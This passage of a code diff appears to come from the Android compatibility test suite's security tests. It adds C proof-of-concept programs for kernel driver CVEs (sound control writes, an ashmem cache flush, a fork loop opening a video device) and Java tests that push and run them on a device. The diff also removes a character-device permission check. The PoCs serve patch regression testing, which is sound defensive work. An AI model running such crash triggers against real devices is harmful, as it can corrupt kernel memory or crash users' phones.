+    "hwC0D14",
+    "hwC0D15",
+    "hwC0D16",
+    "hwC0D2",
+    "hwC0D20",
+    "hwC0D21",
+    "hwC0D22",
+    "hwC0D24",
+    "hwC0D25",
+    "hwC0D26",
+    "hwC0D3",
+    "hwC0D30",
+    "hwC0D31",
+    "hwC0D35",
+    "hwC0D36",
+    "hwC0D37",
+    "hwC0D39",
+    "hwC0D40",
+    "hwC0D45",
+    "hwC0D7",
+    "hwC0D8",
+    "hwC0D9",
+    "pcmC0D0c",
+    "pcmC0D0p",
+    "pcmC0D10c",
+    "pcmC0D10p",
+    "pcmC0D11c",
+    "pcmC0D11p",
+    "pcmC0D12c",
+    "pcmC0D12p",
+    "pcmC0D13c",
+    "pcmC0D13p",
+    "pcmC0D14c",
+    "pcmC0D14p",
+    "pcmC0D15c",
+    "pcmC0D15p",
+    "pcmC0D16c",
+    "pcmC0D19c",
+    "pcmC0D19p",
+    "pcmC0D1c",
+    "pcmC0D1p",
+    "pcmC0D20c",
+    "pcmC0D20p",
+    "pcmC0D21p",
+    "pcmC0D22c",
+    "pcmC0D22p",
+    "pcmC0D23c",
+    "pcmC0D23p",
+    "pcmC0D24c",
+    "pcmC0D24p",
+    "pcmC0D25c",
+    "pcmC0D26p",
+    "pcmC0D27c",
+    "pcmC0D28c",
+    "pcmC0D29c",
+    "pcmC0D2c",
+    "pcmC0D2p",
+    "pcmC0D30c",
+    "pcmC0D31c",
+    "pcmC0D32c",
+    "pcmC0D33c",
+    "pcmC0D34c",
+    "pcmC0D35c",
+    "pcmC0D35p",
+    "pcmC0D36c",
+    "pcmC0D36p",
+    "pcmC0D3c",
+    "pcmC0D3p",
+    "pcmC0D43c",
+    "pcmC0D44c",
+    "pcmC0D44p",
+    "pcmC0D45c",
+    "pcmC0D45p",
+    "pcmC0D4p",
+    "pcmC0D5c",
+    "pcmC0D5p",
+    "pcmC0D6c",
+    "pcmC0D7p",
+    "pcmC0D8c"
+};
+
+ char* OPPCM[MAXPCMOP]={
+    "/dev/snd/pcmC0D0p",
+    "/dev/snd/pcmC0D10p",
+    "/dev/snd/pcmC0D11p",
+    "/dev/snd/pcmC0D12p",
+    "/dev/snd/pcmC0D13p",
+    "/dev/snd/pcmC0D14p",
+    "/dev/snd/pcmC0D15p",
+    "/dev/snd/pcmC0D19p",
+    "/dev/snd/pcmC0D1p",
+    "/dev/snd/pcmC0D20p",
+    "/dev/snd/pcmC0D21p",
+    "/dev/snd/pcmC0D22p",
+    "/dev/snd/pcmC0D23p",
+    "/dev/snd/pcmC0D24p",
+    "/dev/snd/pcmC0D2p",
+    "/dev/snd/pcmC0D32p",
+    "/dev/snd/pcmC0D33p",
+    "/dev/snd/pcmC0D3p",
+    "/dev/snd/pcmC0D40p",
+    "/dev/snd/pcmC0D41p",
+    "/dev/snd/pcmC0D44p",
+    "/dev/snd/pcmC0D47p",
+    "/dev/snd/pcmC0D4p",
+    "/dev/snd/pcmC0D5p",
+    "/dev/snd/pcmC0D7p"
+};
+
+void poc(char* name)
+{
+    int fd, ret, cmd, index,pcmfd, i;
+    char dev[36]={0};
+    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);
+    fd = open(dev, O_RDWR);
+    if (fd < 0) 
+    {
+        return;
+    }
+
+    cmd = SNDRV_CTL_IOCTL_CARD_INFO;
+    struct snd_ctl_card_info info;
+    ret = ioctl(fd, cmd, &info);
+
+    struct snd_ctl_elem_list lst;
+    struct snd_ctl_elem_value control;
+    memset(&lst, 0, sizeof(lst));
+    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));
+    lst.space = MAXELE;
+    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;
+    ret = ioctl(fd, cmd, &lst);
+    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;
+
+    for(index=0;(unsigned int)index<lst.count;index++)
+    {
+        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||
+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||
+           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||
+           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||
+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||
+           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||
+           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||
+           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||
+           !strncmp((const char *)lst.pids[index].name, "LSM",3)||
+           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||
+           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||
+           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;
+
+        control.id.numid=lst.pids[index].numid;
+        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
+    }
+    close(fd);
+}
+
+struct mystruct{
+    int a;
+    char* pp;
+};
+
+void freeptr(struct mystruct* p)
+{
+    unsigned char* n = (unsigned char *)p->pp;
+    n = NULL;
+    p->pp = NULL;
+    p = NULL;
+}
+
+int main()
+{
+    int i =0;
+    for(i = 0; i< MAXNUM; i++)
+    {
+        poc("controlC0");
+        break;
+    }
+    return 1;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
new file mode 100644
index 0000000..0d1d60b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-8263
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
new file mode 100644
index 0000000..a75782b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/local_poc.h
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _LINUX_ASHMEM_H
+#define _LINUX_ASHMEM_H
+#include <linux/limits.h>
+#include <linux/ioctl.h>
+#define ASHMEM_NAME_LEN   256
+#define ASHMEM_NAME_DEF   "dev/ashmem"
+ /* Return values from ASHMEM_PIN: Was the mapping purged while unpinned? */
+#define ASHMEM_NOT_PURGED 0
+#define ASHMEM_WAS_PURGED 1
+ /* Return values from ASHMEM_GET_PIN_STATUS: Is the mapping pinned? */
+#define ASHMEM_IS_UNPINNED  0
+#define ASHMEM_IS_PINNED  1
+struct ashmem_pin {
+    __u32 offset; /* offset into region, in bytes, page-aligned */
+    __u32 len;  /* length forward from offset, in bytes, page-aligned */
+};
+#define __ASHMEMIOC   0x77
+#define ASHMEM_SET_NAME   _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
+#define ASHMEM_GET_NAME   _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
+#define ASHMEM_SET_SIZE   _IOW(__ASHMEMIOC, 3, size_t)
+#define ASHMEM_GET_SIZE   _IO(__ASHMEMIOC, 4)
+#define ASHMEM_SET_PROT_MASK  _IOW(__ASHMEMIOC, 5, unsigned long)
+#define ASHMEM_GET_PROT_MASK  _IO(__ASHMEMIOC, 6)
+#define ASHMEM_PIN    _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
+#define ASHMEM_UNPIN    _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
+#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
+#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
+#define ASHMEM_CACHE_FLUSH_RANGE  _IO(__ASHMEMIOC, 11)
+#define ASHMEM_CACHE_CLEAN_RANGE  _IO(__ASHMEMIOC, 12)
+#define ASHMEM_CACHE_INV_RANGE    _IO(__ASHMEMIOC, 13)
+int get_ashmem_file(int fd, struct file **filp, struct file **vm_file,
+                          unsigned long *len);
+void put_ashmem_file(struct file *file);
+#endif  /* _LINUX_ASHMEM_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
new file mode 100644
index 0000000..687bbc5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/poc.c
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <stdio.h>
+#include "local_poc.h"
+
+
+int main() {
+    int fd;
+    int ret;
+    uint64_t mmap_ret;
+
+    fd = open("/dev/ashmem", 0, 0);
+    if (fd < 0) {
+        return -1;
+    }
+
+    ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
+    if (ret < 0) {
+        return -1;
+    }
+
+    mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
+            0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
+    if (mmap_ret == MAP_FAILED) {
+        return -1;
+    }
+
+    ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
+    if (ret < 0) {
+        return -1;
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk
new file mode 100644
index 0000000..3910cc9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8265/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-8265
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c b/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c
new file mode 100644
index 0000000..0eaabf7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-8265/poc.c
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <linux/ion.h>
+
+int poc()
+{
+    int fd[2];
+    fd[0] = open("/dev/video33",0x0ul,0x0ul);
+    fd[1] = open("/dev/video33",0x0ul,0x0ul);
+    return 0;
+}
+
+int main()
+{
+    int pid;
+
+    while(1) {
+        pid = fork();
+        if(!pid) {
+            return poc();
+        }
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java b/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java
index f4ce1bd..d8b2816 100644
--- a/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java
+++ b/hostsidetests/security/src/android/cts/security/FileSystemPermissionTest.java
@@ -20,95 +20,12 @@
      */
     private static final String INSECURE_DEVICE_ADB_COMMAND = "find %s -type %s -perm /o=rwx 2>/dev/null";
 
-    /**
-     * Whitelist exceptions of allowed world accessbale char files under /dev
-     */
-    private static final Set<String> CHAR_DEV_EXCEPTIONS = new HashSet<String>(
-        Arrays.asList(
-            // All exceptions should be alphabetical and associated with a bug number.
-            "/dev/adsprpc-smd", // b/11710243
-            "/dev/alarm",      // b/9035217
-            "/dev/ashmem",
-            "/dev/binder",
-            "/dev/card0",       // b/13159510
-            "/dev/renderD128",
-            "/dev/renderD129",  // b/23798677
-            "/dev/dri/card0",   // b/13159510
-            "/dev/dri/renderD128",
-            "/dev/dri/renderD129", // b/23798677
-            "/dev/felica",     // b/11142586
-            "/dev/felica_ant", // b/11142586
-            "/dev/felica_cen", // b/11142586
-            "/dev/felica_pon", // b/11142586
-            "/dev/felica_rfs", // b/11142586
-            "/dev/felica_rws", // b/11142586
-            "/dev/felica_uicc", // b/11142586
-            "/dev/full",
-            "/dev/galcore",
-            "/dev/genlock",    // b/9035217
-            "/dev/graphics/galcore",
-            "/dev/ion",
-            "/dev/kgsl-2d0",   // b/11271533
-            "/dev/kgsl-2d1",   // b/11271533
-            "/dev/kgsl-3d0",   // b/9035217
-            "/dev/log/events", // b/9035217
-            "/dev/log/main",   // b/9035217
-            "/dev/log/radio",  // b/9035217
-            "/dev/log/system", // b/9035217
-            "/dev/mali0",       // b/9106968
-            "/dev/mali",        // b/11142586
-            "/dev/mm_interlock", // b/12955573
-            "/dev/mm_isp",      // b/12955573
-            "/dev/mm_v3d",      // b/12955573
-            "/dev/msm_rotator", // b/9035217
-            "/dev/null",
-            "/dev/nvhost-as-gpu",
-            "/dev/nvhost-ctrl", // b/9088251
-            "/dev/nvhost-ctrl-gpu",
-            "/dev/nvhost-dbg-gpu",
-            "/dev/nvhost-gpu",
-            "/dev/nvhost-gr2d", // b/9088251
-            "/dev/nvhost-gr3d", // b/9088251
-            "/dev/nvhost-tsec",
-            "/dev/nvhost-prof-gpu",
-            "/dev/nvhost-vic",
-            "/dev/nvmap",       // b/9088251
-            "/dev/pmsg0",       // b/31857082
-            "/dev/ptmx",        // b/9088251
-            "/dev/pvrsrvkm",    // b/9108170
-            "/dev/pvr_sync",
-            "/dev/quadd",
-            "/dev/random",
-            "/dev/snfc_cen",    // b/11142586
-            "/dev/snfc_hsel",   // b/11142586
-            "/dev/snfc_intu_poll", // b/11142586
-            "/dev/snfc_rfs",    // b/11142586
-            "/dev/tegra-throughput",
-            "/dev/tiler",       // b/9108170
-            "/dev/tty",
-            "/dev/urandom",
-            "/dev/ump",         // b/11142586
-            "/dev/xt_qtaguid",  // b/9088251
-            "/dev/zero",
-            "/dev/fimg2d",      // b/10428016
-            "/dev/mobicore-user" // b/10428016
-    ));
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mDevice = getDevice();
     }
 
-    public void testAllCharacterDevicesAreSecure() throws DeviceNotAvailableException {
-        Set <String> insecure = getAllInsecureDevicesInDirAndSubdir("/dev", "c");
-        Set <String> insecurePts = getAllInsecureDevicesInDirAndSubdir("/dev/pts", "c");
-        insecure.removeAll(CHAR_DEV_EXCEPTIONS);
-        insecure.removeAll(insecurePts);
-        assertTrue("Found insecure character devices: " + insecure.toString(),
-                insecure.isEmpty());
-    }
-
     public void testAllBlockDevicesAreSecure() throws Exception {
         Set<String> insecure = getAllInsecureDevicesInDirAndSubdir("/dev", "b");
         assertTrue("Found insecure block devices: " + insecure.toString(),
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index fa9934f..da7453e 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -16,6 +16,7 @@
 
 package android.security.cts;
 
+import com.android.ddmlib.NullOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -31,6 +32,7 @@
 import java.io.OutputStream;
 import java.util.Scanner;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
 
 public class AdbUtils {
 
@@ -59,7 +61,7 @@
     /**
      * Pushes and runs a binary to the selected device
      *
-     * @param pathToPoc a string path to poc from the /res folder
+     * @param pocName a string path to poc from the /res folder
      * @param device device to be ran on
      * @param timeout time to wait for output in seconds
      * @return the console output from the binary
@@ -73,6 +75,21 @@
     }
 
     /**
+     * Pushes and runs a binary to the selected device and ignores any of its output.
+     *
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     */
+    public static void runPocNoOutput(String pocName, ITestDevice device, int timeout)
+            throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        NullOutputReceiver receiver = new NullOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout,
+                TimeUnit.SECONDS, 0);
+    }
+
+    /**
      * Pushes and installs an apk to the selected device
      *
      * @param pathToApk a string path to apk from the /res folder
@@ -109,4 +126,27 @@
         }
 
     }
+
+    /**
+     * Runs an info disclosure related PoC, pulls logs from the device,
+     * and searches the logs for the info being disclosed.
+     * @param pocName string of the PoC name
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @param pattern pattern of info being disclosed
+     * @return boolean returns false if the test fails, otherwise returns true
+     **/
+    public static boolean detectInformationDisclosure(
+        String pocName, ITestDevice device, int timeout, String pattern) throws Exception {
+
+           String pocOutput = runPoc(pocName, device, timeout);
+           if (Pattern.matches(pattern, pocOutput))
+             return false;
+
+           String logcatOutput = device.executeShellCommand("logcat -d");
+           if (Pattern.matches(pattern, logcatOutput))
+             return false;
+
+           return true;
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index a6160d5..7e24e8f 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -133,7 +133,8 @@
     @SecurityTest
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPoc("CVE-2016-8434", getDevice(), 60);
+            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
         }
     }
 
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
new file mode 100644
index 0000000..4f22f3b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_02.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_02 extends SecurityTestCase {
+
+    /**
+     *  b/31796345
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0451() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/voice_svc")) {
+            AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
new file mode 100644
index 0000000..e89a45a
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_04 extends SecurityTestCase {
+
+    /**
+     *  b/33544431
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0576() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34325986
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0580() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33353601
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0462() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/seemplog")) {
+            AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
+	}
+    }
+
+    /**
+     *  b/33842951
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0577() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33966912
+     */
+    @SecurityTest
+    public void testPocCVE_2016_10231() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34276203
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0564() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPocNoOutput("CVE-2017-0564", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33649808
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0586() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+	    AdbUtils.runPoc("CVE-2017-0586", getDevice(), 60);
+	}
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..79c0123
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,94 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+    /**
+     *  b/34328139
+     */
+    @SecurityTest
+    public void testPocBug_34328139() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/mdss_rotator")) {
+            AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33452365
+     */
+    @SecurityTest
+    public void testPocBug_33452365() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
+            AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34125463
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0579() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33751424
+     */
+    @SecurityTest
+    public void testPocCVE_2017_7369() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+          AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/35047780
+     */
+    @SecurityTest
+    public void testPocBug_35047780() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("Bug-35047780", getDevice(), 60);
+    }
+
+    /**
+     *  b/35048450
+     */
+    @SecurityTest
+    public void testPocBug_35048450() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("Bug-35048450", getDevice(), 60);
+    }
+
+    /**
+     *  b/35047217
+     */
+    @SecurityTest
+    public void testPocBug_35047217() throws Exception {
+        enableAdbRoot(getDevice());
+        AdbUtils.runPoc("Bug-35047217", getDevice(), 60);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
new file mode 100644
index 0000000..a595832
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_07 extends SecurityTestCase {
+
+    /**
+     *  b/33863407
+     */
+    @SecurityTest
+    public void testPocBug_33863407() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/sys/kernel/debug/mdp/reg")) {
+            AdbUtils.runPoc("Bug-33863407", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/36604779
+     */
+    @SecurityTest
+    public void testPocBug_36604779() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/port")) {
